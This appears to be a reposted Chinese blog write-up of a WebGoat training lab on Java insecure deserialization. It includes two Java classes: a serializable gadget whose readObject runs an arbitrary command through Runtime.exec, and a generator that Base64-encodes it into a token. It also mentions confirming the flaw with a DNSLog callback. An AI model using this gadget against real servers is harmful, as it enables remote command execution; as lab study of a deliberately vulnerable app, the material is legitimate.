level-5


找到java檔案,可以看到傳入的token經過64解碼后輸入導物件輸入流中,然后沒有加限制直接readObject進行了反序列化操作,確實存在漏洞點~
package org.owasp.webgoat.plugin; import java.io.*; import java.util.Base64; public class ExploitDeserialize { public static void main(String[] args) throws IOException{ GadgetObject goGadgetObject = new GadgetObject(); goGadgetObject.setCmd("sleep(6)"); ByteArrayOutputStream boStream = new ByteArrayOutputStream(); ObjectOutputStream ooStream = new ObjectOutputStream(boStream); ooStream.writeObject(goGadgetObject); ooStream.flush(); byte[] exp = boStream.toByteArray(); String b64token = Base64.getEncoder().encodeToString(exp); System.out.println(b64token); } }
package org.owasp.webgoat.plugin; import java.io.ObjectInputStream; import java.io.Serializable; public class GadgetObject implements Serializable { private String cmd; public void setCmd(String cmd) { this.cmd = cmd; } private void readObject( ObjectInputStream stream ) throws Exception { stream.defaultReadObject(); try{ Runtime r = Runtime.getRuntime(); Process p = r.exec(cmd); }catch (Exception e) { e.printStackTrace(); } } }

這里構造兩個java檔案,用來生成可以用的payload(因為反序列化這個東西,不同語言差別還是挺大的,就只能用殘缺的java知識搞一個這個了……還是太菜了,java急需深造啊)

生成payload,讓服務器等待5秒~

很奇怪的是沒用行得通,很奇怪是那里搞錯了,有可能是我寫的java類有問題???我回頭再去看一下……


這里開一個DNSLog來驗證一下吧,不信這個邪~

果然,這里是可以訪問到的,大概寫的java也沒有問題,但那是哪里出問題了嘞???真搞不懂,再研究研究,java水太深了……
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/509335.html
標籤:其他
